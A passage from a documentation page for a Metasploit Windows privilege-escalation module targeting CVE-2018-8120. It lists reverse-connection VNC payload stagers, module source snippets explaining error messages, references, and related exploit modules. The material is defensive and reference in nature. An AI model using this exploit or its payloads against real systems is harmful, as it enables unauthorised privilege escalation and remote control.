176 payload/windows/vncinject/reverse_tcp_allports normal No VNC Server (Reflective Injection), Reverse All-Port TCP Stager
177 payload/windows/vncinject/reverse_tcp_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (DNS)
178 payload/windows/vncinject/reverse_tcp_rc4 normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption, Metasm)
179 payload/windows/vncinject/reverse_tcp_rc4_dns normal No VNC Server (Reflective Injection), Reverse TCP Stager (RC4 Stage Encryption DNS, Metasm)
180 payload/windows/vncinject/reverse_tcp_uuid normal No VNC Server (Reflective Injection), Reverse TCP Stager with UUID Support
181 payload/windows/vncinject/reverse_winhttp normal No VNC Server (Reflective Injection), Windows Reverse HTTP Stager (winhttp)
Evasion Options
Here is the full list of possible evasion options supported by the windows/local/ms18_8120_win32k_privesc exploit in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):
msf6 exploit(windows/local/ms18_8120_win32k_privesc) > show evasion
Module evasion options:
Name Current Setting Required Description
---- --------------- -------- -----------
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Error Messages
This module may fail with the following error messages:
Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.
Session is already elevated
Here is a relevant code snippet related to the "Session is already elevated" error message:
67: )
68: end
69:
70: def assign_target
71: if is_system?
72: fail_with(Failure::None, 'Session is already elevated')
73: end
74:
75: if sysinfo['OS'] =~ /XP|NT/i
76: fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
77: end
The exploit binary does not support Windows XP
Here is a relevant code snippet related to the "The exploit binary does not support Windows XP" error message:
71: if is_system?
72: fail_with(Failure::None, 'Session is already elevated')
73: end
74:
75: if sysinfo['OS'] =~ /XP|NT/i
76: fail_with(Failure::Unknown, 'The exploit binary does not support Windows XP')
77: end
78:
79: return target unless target.name == 'Automatic'
80:
81: case sysinfo['Architecture']
Invalid payload architecture
Here is a relevant code snippet related to the "Invalid payload architecture" error message:
81: case sysinfo['Architecture']
82: when 'x64'
83: vprint_status('Targeting x64 system')
84: return targets[1]
85: when 'x86'
86: fail_with(Failure::BadConfig, "Invalid payload architecture") if payload_instance.arch.first == ARCH_X64
87: vprint_status('Targeting x86 system')
88: return targets[2]
89: end
90: end
91:
Attempting to write <FNAME> to <TEMPDIR>
Here is a relevant code snippet related to the "Attempting to write <FNAME> to <TEMPDIR>" error message:
90: end
91:
92: def write_file_to_target(fname, data)
93: tempdir = session.sys.config.getenv('TEMP')
94: file_loc = "#{tempdir}\\#{fname}"
95: vprint_warning("Attempting to write #{fname} to #{tempdir}")
96: write_file(file_loc, data)
97: vprint_good("#{fname} written")
98: file_loc
99: rescue Rex::Post::Meterpreter::RequestError => e
100: elog(e)
Writing <FNAME> to disk was unsuccessful
Here is a relevant code snippet related to the "Writing <FNAME> to disk was unsuccessful" error message:
96: write_file(file_loc, data)
97: vprint_good("#{fname} written")
98: file_loc
99: rescue Rex::Post::Meterpreter::RequestError => e
100: elog(e)
101: fail_with(Failure::Unknown, "Writing #{fname} to disk was unsuccessful")
102: end
103:
104: def check_arch
105: sys_arch = assign_target
106: if sys_arch.name =~ /x86/
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Related Pull Requests
- #14213 Merged Pull Request: Add disclosure date rubocop linting rule - enforce iso8601 disclosure dates
- #13608 Merged Pull Request: Standardise Error Logging
- #10664 Merged Pull Request: Win32k Elevation of Privilege Vulnerability - CVE-2018-8120
References
- BID-104034
- CVE-2018-8120
- https://github.com/unamer/CVE-2018-8120
- https://github.com/bigric3/cve-2018-8120
- http://bigric3.blogspot.com/2018/05/cve-2018-8120-analysis-and-exploit.html
- https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2018-8120
See Also
Check also the following modules related to this module:
- exploit/linux/local/netfilter_nft_set_elem_init_privesc
- exploit/linux/local/ueb_bpserverd_privesc
- exploit/linux/ssh/vyos_restricted_shell_privesc
- exploit/openbsd/local/dynamic_loader_chpass_privesc
- exploit/unix/ssh/array_vxag_vapv_privkey_privesc
- exploit/windows/local/appxsvc_hard_link_privesc
- exploit/windows/local/canon_driver_privesc
- exploit/windows/local/cve_2022_21999_spoolfool_privesc
- exploit/windows/local/gog_galaxyclientservice_privesc
- exploit/windows/local/lexmark_driver_privesc
- exploit/windows/local/microfocus_operations_privesc
- exploit/windows/local/ms16_032_secondary_logon_handle_privesc
- exploit/windows/local/plantronics_hub_spokesupdateservice_privesc
- exploit/windows/local/ricoh_driver_privesc
- auxiliary/admin/http/cisco_7937g_ssh_privesc
- auxiliary/admin/http/joomla_registration_privesc
- auxiliary/admin/http/manageengine_pmp_privesc
- auxiliary/admin/http/wp_automatic_plugin_privesc
- auxiliary/admin/http/wp_gdpr_compliance_privesc
- auxiliary/admin/http/wp_masterstudy_privesc
- auxiliary/admin/oracle/oracle_index_privesc
- exploit/unix/webapp/openemr_sqli_privesc_upload
- payload/cmd/mainframe/apf_privesc_jcl
- exploit/windows/local/cve_2018_8453_win32k_priv_esc
- exploit/windows/local/cve_2021_1732_win32k
- exploit/windows/local/cve_2022_21882_win32k
Related Nessus plugins:
- KB4103712: Windows 7 and Windows Server 2008 R2 May 2018 Security Update
- Security Updates for Windows Server 2008 (May 2018)
Authors
- unamer
- bigric3
- Anton Cherepanov
- Dhiraj Mishra <[email protected]>
Version
This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.
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